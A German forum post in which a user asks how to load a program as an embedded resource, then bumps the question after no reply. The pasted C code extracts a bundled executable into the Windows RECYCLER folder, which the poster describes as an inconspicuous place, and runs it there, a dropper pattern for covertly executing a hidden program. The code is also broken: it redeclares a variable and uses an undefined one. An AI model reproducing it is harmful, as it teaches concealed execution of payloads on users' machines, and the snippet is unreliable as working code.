Hi leutz,
ich wollte mal fragen ob mir jemand erklären kann wie ich ein Programm als Resource in meinen Quellcode (bzw. mein prog.) lade.
Habe schon gegoogelt aber finde einfach nirgens wo ein tutorial.
habe nen code gefunden, wo ein prog. als resource geladen wird, und an einem unauffälligem ort ausgeführt wird. Jedoch verstehe ich da einfach nicht wie das genau mit dem resource laden funzt. wäre echt nett, wenn mir da jemand weiterhelfen könnte
hier der code :
main.c
Code:
#define STRICT
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include "res.h"
int main(){
LPVOID data1 = LockResource ( LoadResource (0, FindResource (0, MAKEINTRESOURCE(ID_FILE_01), "BINARY")));
FILE *data1 = fopen ("C:\\RECYCLER\\trash.exe", "wb");
if (data1 != NULL)
{
fwrite(data1, 1, 424960, datei);
fclose(data1);
}
ShellExecute(0,"open","C:\\RECYCLER\\trash.exe", 0,0, SW_SHOWNORMAL);
return 0;
}
res.h
Code:
#define ID_FILE_01 1
res.rc
Code:
#include "res.h"
ID_FILE_01 BINARY "tisch.exe"
Added after 41 hours 12 minutes:
kann keiner helfen? =(
ein link zu nem tut oder so würde mir schon weiterhelfen...